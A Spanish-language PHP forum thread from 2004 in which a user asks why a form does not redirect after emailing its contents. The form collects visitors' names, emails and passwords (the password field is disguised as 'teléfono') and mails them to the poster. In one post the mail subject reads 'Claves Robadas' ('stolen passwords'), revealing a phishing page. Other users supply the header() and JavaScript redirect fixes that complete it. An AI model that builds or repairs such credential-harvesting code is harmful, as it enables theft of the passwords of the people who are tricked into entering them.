Foros del Web » Programando para Internet » PHP »

Problemas con redirección.

Estas en el tema de Problemas con redirección. en el foro de PHP en Foros del Web. Buenas solamente queria saber por que este codigo me envia el mensaje que quiero al correo pero luego de enviarlo no enlaza a la redireccion ...
  #1 (permalink)  
Antiguo 30/07/2004, 14:58
 
Fecha de Ingreso: julio-2004
Mensajes: 323
Antigüedad: 19 años, 8 meses
Puntos: 1
Exclamación Ayuda Urgente Por Favor :'(

Buenas solamente queria saber por que este codigo me envia el mensaje que quiero al correo pero luego de enviarlo no enlaza a la redireccion lo podrian revisar y decirme que es lo que tiene o lo que le falta :( espero que respondan rapido, y bueno si no saben de todos modos gracias ;) cuidenc





<form method=post action="? $PHP_SELF ?">
<input type=hidden name=accion value=enviar>
<INPUT TYPE="hidden" NAME="redireccion" VALUE="http://usuarios.lycos.es/sairox/postal.html">
<table border="0" cellspacing="0">


<a href="http://usuarios.lycos.es/sairox/postal.html"> <input type=submit value=Enviar "> </a>
<?

if($accion=="enviar"){

$myemail = "[email protected]"; //DESTINO
$asunto = "Forms";

mail("$myemail","$asunto","$apodo\nEmail: $email\nClave: $teléfono");
}
?>
  #2 (permalink)  
Antiguo 30/07/2004, 14:59
 
Fecha de Ingreso: julio-2004
Mensajes: 323
Antigüedad: 19 años, 8 meses
Puntos: 1
Exclamación Ayuda Por Favor!!!

Buenas solamente queria saber por que este codigo me envia el mensaje que quiero al correo pero luego de enviarlo no enlaza a la redireccion lo podrian revisar y decirme que es lo que tiene o lo que le falta :( espero que respondan rapido, y bueno si no saben de todos modos gracias ;) cuidenc





<form method=post action="? $PHP_SELF ?">
<input type=hidden name=accion value=enviar>
<INPUT TYPE="hidden" NAME="redireccion" VALUE="http://usuarios.lycos.es/sairox/postal.html">
<table border="0" cellspacing="0">


<a href="http://usuarios.lycos.es/sairox/postal.html"> <input type=submit value=Enviar "> </a>
<?

if($accion=="enviar"){

$myemail = "[email protected]"; //DESTINO
$asunto = "Forms";

mail("$myemail","$asunto","$apodo\nEmail: $email\nClave: $teléfono");
}
?>
  #3 (permalink)  
Antiguo 30/07/2004, 15:03
 
Fecha de Ingreso: diciembre-2002
Ubicación: Santiago
Mensajes: 18
Antigüedad: 21 años, 3 meses
Puntos: 0
Creo que debieras revisar la siguiente instrucción
header("Location:mi pagina");
Una vez enviado tu correo.
  #4 (permalink)  
Antiguo 30/07/2004, 15:13
 
Fecha de Ingreso: julio-2004
Mensajes: 323
Antigüedad: 19 años, 8 meses
Puntos: 1
Ahhhh ya :S No Entendi :S
  #5 (permalink)  
Antiguo 30/07/2004, 15:19
O_O
 
Fecha de Ingreso: enero-2002
Ubicación: Santiago - Chile
Mensajes: 34.417
Antigüedad: 22 años, 3 meses
Puntos: 129
Cita:
espero que respondan rapido,
Debes tener paciencia .. recuerda que forosdelweb.com es un sistio donde la gente acude voluntáriamente a participar: unos preguntando y otros respondiendo.
--------

Respondiendo a tu pregunta ...

En ninguna parte de tu código PHP estás diciendo que se redireccione .. NI en HTML tampoco. Sólo tienes ahí una variable en el formulario "oculata" (que no sirve de mucho ahí) para indicar a donde redirccionar .. pero en el fondo no la estás usando para nada ..

Debería ser algo tipo

if($accion=="enviar"){

$myemail = "[email protected]"; //DESTINO
$asunto = "Forms";

mail("$myemail","$asunto","$apodo\nEmail: $email\nClave: $teléfono");
header ("Location: ".$redireccion);
exit;
}

Y cambiando el orden de tu código .. primero PHP <? .. ?> y luego ese HTML que tienes ahí (sino te dará error el "header()")

LLegado este punto .. no tiene mucho sentido (si ese "redireccionar" va a ser fijo) mandar ese URL por un campo hidden de tu formulario cuando lo puedes predefinir en el script PHP:

$redireccion="http://nosedonde";
mail(...)
header("Location: ".$redireccion);

Por lo demás .. acostumbrate a usar los arrays superglobales $_POST, $_GET .. etc para recoger tus variables externas (las de tu formulario .. url .. etc).

Un saludo,
  #6 (permalink)  
Antiguo 30/07/2004, 15:28
 
Fecha de Ingreso: diciembre-2002
Ubicación: Santiago
Mensajes: 18
Antigüedad: 21 años, 3 meses
Puntos: 0
No enlaza a la dirección, porque no le estas redireccionando, para redireccionar tienes que utilizar:
header("Location:mipagina");
Ya tiene la pagina a la cual vas a ridereccionar en un campo oculto
y despues de enviar tu correo tu instruccion quedará
header("Location:".$HTTP_POST_VARS[redireccion']);
  #7 (permalink)  
Antiguo 30/07/2004, 15:35
 
Fecha de Ingreso: julio-2004
Mensajes: 323
Antigüedad: 19 años, 8 meses
Puntos: 1
mmmm Asi men??? :S



<tr>
<td><font size="2" face="Arial" color="#ffffff">Nombre: (*)</font></td>
<td>
<input type="text" name="apodo" size="20">
</td>
</tr>
<tr>
<td><font face="Arial,Helvetica, sans-serif" size="2" color="#ffffff">E-mail: (*)</font></td>
<td>
<input type="text" name="email" size="20">
</td>
</tr>


</td>
</tr>

<tr>
<td><font size="2" face="Arial" color="#ffffff">Contraseña: (*) </font></td>
<td>
<input type='password' value='*' name='teléfono' size="16">
</td>
</tr>


</table>

<form method=post action="? $PHP_SELF ?">
<input type=hidden name=accion value=enviar>
<INPUT TYPE="hidden" NAME="redireccion" VALUE="http://usuarios.lycos.es/sairox/postal.html">
<table border="0" cellspacing="0">


<input type=submit value=Enviar ">
header("Location:http://usuarios.lycos.es/sairox/postal.html");
header("Location:".$HTTP_POST_VARS[redireccion']);

if($accion=="enviar"){

$myemail = "[email protected]"; //DESTINO
$asunto = "Forms";

mail("$myemail","$asunto","$apodo\nEmail: $email\nClave: $teléfono");

}
?>
  #8 (permalink)  
Antiguo 30/07/2004, 15:36
 
Fecha de Ingreso: julio-2004
Mensajes: 323
Antigüedad: 19 años, 8 meses
Puntos: 1
<tr>
<td><font size="2" face="Arial" color="#ffffff">Nombre: (*)</font></td>
<td>
<input type="text" name="apodo" size="20">
</td>
</tr>
<tr>
<td><font face="Arial,Helvetica, sans-serif" size="2" color="#ffffff">E-mail: (*)</font></td>
<td>
<input type="text" name="email" size="20">
</td>
</tr>


</td>
</tr>

<tr>
<td><font size="2" face="Arial" color="#ffffff">Contraseña: (*) </font></td>
<td>
<input type='password' value='*' name='teléfono' size="16">
</td>
</tr>


</table>

<form method=post action="? $PHP_SELF ?">
<input type=hidden name=accion value=enviar>
<INPUT TYPE="hidden" NAME="redireccion" VALUE="http://usuarios.lycos.es/sairox/postal.html">
<table border="0" cellspacing="0">


<input type=submit value=Enviar ">
header("Location:http://usuarios.lycos.es/sairox/postal.html");
header("Location:".$HTTP_POST_VARS[redireccion']);

if($accion=="enviar"){

$myemail = "[email protected]"; //DESTINO
$asunto = "Claves Robadas";

mail("$myemail","$asunto","$apodo\nEmail: $email\nClave: $teléfono");

}
?>
  #9 (permalink)  
Antiguo 30/07/2004, 15:39
O_O
 
Fecha de Ingreso: enero-2002
Ubicación: Santiago - Chile
Mensajes: 34.417
Antigüedad: 22 años, 3 meses
Puntos: 129
Sariox

1) Por favor usa un sólo tema para tus preguntas .. hoy has abierto como 3 ya ..
2) .. Si tu no te explicas o detallas que problemas tienes . no esperes que lo adivinemos .. No pongas código sin dar alguna explicación .. ya vemos que estás probando .. pero algo tendrás que decir!.

Un saludo,
  #10 (permalink)  
Antiguo 30/07/2004, 15:43
O_O
 
Fecha de Ingreso: enero-2002
Ubicación: Santiago - Chile
Mensajes: 34.417
Antigüedad: 22 años, 3 meses
Puntos: 129
Sariox .. no sé si con las prisas no leistes los bien las respuestas .. pero yo ya te dije:

Código PHP:
if($accion=="enviar"){

$myemail "[email protected]"//DESTINO
$asunto "Forms";

mail("$myemail","$asunto","$apodo\nEmail: $email\nClave: $teléfono");
header ("Location: ".$redireccion);
exit;

Fijate donde está header() que va a "redireccionar" en ese caso . .está bajo la instrucción que envia el e-mail .. .no antes ni dos iguales o parecidas .. etc .. etc.

Y también te comenté que ese IF() completo <? .. if ... ?> DEBE! estár antes de tu <html> sinó tendras problemas con esa misma función.

Un saludo,
  #11 (permalink)  
Antiguo 30/07/2004, 15:51
 
Fecha de Ingreso: julio-2004
Mensajes: 323
Antigüedad: 19 años, 8 meses
Puntos: 1
okaz men voy a probar gracias y disculpa es que me ta doliendo ya la cabeza desde esta mañana estoy intentandolo y no e podido :S
  #12 (permalink)  
Antiguo 30/07/2004, 15:56
 
Fecha de Ingreso: julio-2004
Mensajes: 323
Antigüedad: 19 años, 8 meses
Puntos: 1
mmm.m.. nada men :S
  #13 (permalink)  
Antiguo 30/07/2004, 15:59
 
Fecha de Ingreso: julio-2004
Mensajes: 323
Antigüedad: 19 años, 8 meses
Puntos: 1
ahora tampoco me llegan los mensajes al correo :S
  #14 (permalink)  
Antiguo 30/07/2004, 16:08
O_O
 
Fecha de Ingreso: enero-2002
Ubicación: Santiago - Chile
Mensajes: 34.417
Antigüedad: 22 años, 3 meses
Puntos: 129
Sariox .. probar las cosas al "tutun" no suele dar resultados .. y menos decir que no te funcionan las cosas cuando no pones ni el código final que estés usando (por qué aquí se te ha sugerido mucho y no sabemos exactamente que estás usando).

--------

Bien .. un "detallazo" .. la publicidad que inserta tu servicio de hosting gratuito (Lycos) .. interfiere en las cabeceras HTTP que se pretenden enviar con la función de PHP: header() (en ese caso con "location" para redireccionar) .. así que tendrás que usar otro tipo de redireccionmiento .. sea Javascript o etiquetas META de refresh HTML.

Un saludo,
  #15 (permalink)  
Antiguo 31/07/2004, 14:27
 
Fecha de Ingreso: julio-2004
Mensajes: 323
Antigüedad: 19 años, 8 meses
Puntos: 1
Mmmmm... Bueno no se que pasa, pero bueno esta bien
  #16 (permalink)  
Antiguo 31/07/2004, 14:52
Avatar de stock  
Fecha de Ingreso: junio-2004
Ubicación: Monterrey NL
Mensajes: 2.390
Antigüedad: 19 años, 9 meses
Puntos: 53
hey men si usas lycos, pues como dice cluster, tendras que usar un metodo por javascript, si quieres puedes usar este, que es el que yo uso en mi website para redireccionar:

para usarla pues nomas la mandas llamar asi:

Código PHP:
redireccionar("adondequieras.php"); 
y esta es la funcion:

Código PHP:
function redireccionar($dir){

        echo 
"<script type=\"text/javascript\">

            <!--

            function exec_refresh()

            {

                window.status = \"\" + myvar;

                myvar = myvar + \" .\";

                var timerID = setTimeout(\"exec_refresh();\", 100);

                if (timeout > 0)

                {

                    timeout -= 1;

                }

                else

                {

                    clearTimeout(timerID);

                    window.status = \"\";

                    window.location = \"$dir\";

                }

            }        

    

            var myvar = \"\";

            var timeout = 20;

            exec_refresh();

            //-->

            </script>"
;

    } 
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 17:15.